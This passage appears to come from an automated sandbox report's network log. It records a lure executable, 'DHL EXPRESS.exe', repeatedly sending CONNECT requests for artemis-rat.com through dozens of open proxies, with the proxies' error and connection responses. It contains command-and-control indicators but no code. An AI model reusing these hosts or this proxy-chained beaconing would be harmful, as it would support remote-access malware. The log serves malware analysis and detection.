Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.8	51906	117.160.250.134	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.699522972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.769030094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.027878046 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:36:56.792361021 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.8	52373	181.212.136.34	7518	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.700567961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.456449986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.8	52328	103.118.44.136	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.707941055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.8	52400	43.129.228.46	7890	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.710042000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.013570070 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.8	52406	131.186.37.99	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.711966991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.8	52401	119.196.168.183	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.712292910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.8	52344	123.126.158.50	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.714355946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.8	52378	34.87.84.105	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.714549065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.519737959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.592926025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.706540108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.741424084 CET	708	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:56 GMT Server: Apache Content-Length: 532 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 69 74 75 6b 40 6d 79 63 61 73 68 62 61 63 6b 2e 63 6f 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at pituk@mycashback.co to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.8	52639	43.153.58.204	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.722683907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.8	52561	104.20.34.100	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.723558903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.877675056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.8	52511	162.214.162.180	46369	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.737082958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.269025087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.957079887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.269207954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.8	52293	154.118.228.212	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.737344027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.8	52385	185.38.111.1	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.738262892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.059442997 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Length: 0
Mar 11, 2024 18:36:49.380835056 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.8	51712	31.24.44.92	50109	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.741621971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.909595966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.910063028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909883022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.909506083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.909455061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.909420967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.909456015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.909459114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.8	52593	172.67.182.38	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.759573936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.913700104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.8	52391	217.145.199.47	56746	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.759574890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.456523895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.8	52484	129.213.150.205	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.759682894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.8	51791	45.71.184.134	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.760293007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.320207119 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:37:53.460386038 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 487 Content-Type: text/html Date: Mon, 11 Mar 2024 17:37:52 GMT Expires: Mon, 11 Mar 2024 17:37:52 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.8	52404	116.62.147.249	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.760632992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.070679903 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.8	52655	43.153.58.204	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.760632992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.8	51800	39.109.113.97	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.768701077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.455528975 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 17:15:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

